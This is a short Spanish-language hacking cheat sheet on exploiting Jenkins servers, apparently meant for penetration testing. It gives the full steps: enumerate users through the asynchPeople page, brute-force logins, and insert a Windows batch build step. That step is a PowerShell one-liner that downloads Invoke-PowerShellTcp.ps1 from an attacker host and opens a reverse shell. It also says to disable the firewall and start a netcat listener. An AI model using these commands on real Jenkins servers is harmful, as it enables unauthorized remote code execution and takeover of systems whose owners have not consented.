[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/explotacion-jenkins
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd explotacion-jenkins/█

Explotación de Jenkins

techniquelateralwindows← índice

Jenkins

Detectar los puertos del servicio (ver escaneo de puertos).

Ingresar a la URL del servicio para enumerar los usuarios del sistema:

http://<SERVER_NAME>.<DOMAIN>:8080/asynchPeople

Fuerza bruta del login (probar el username como contraseña).

En My Views, abrir un proyecto y navegar a Configure > Build Steps > Execute Windows batch command.

Ingresar el comando para descargar y ejecutar una reverse shell en PowerShell:

powershell iex (iwr -UseBasicParsing http://<LOCAL_IP_ADDRESS>/Invoke-PowerShellTcp.ps1); Power -Reverse -IPAddress <LOCAL_IP_ADDRESS> -Port 443

Guardar con Save.

Levantar un servidor web en <LOCAL_IP_ADDRESS> sirviendo Invoke-PowerShellTcp.ps1 en el puerto 443.

Crear una regla en el Firewall de Windows que acepte la conexión, o deshabilitarlo.

Ejecutar un listener:

nc64.exe -nlvp 443

Ejecutar el proyecto de Jenkins con Build Now.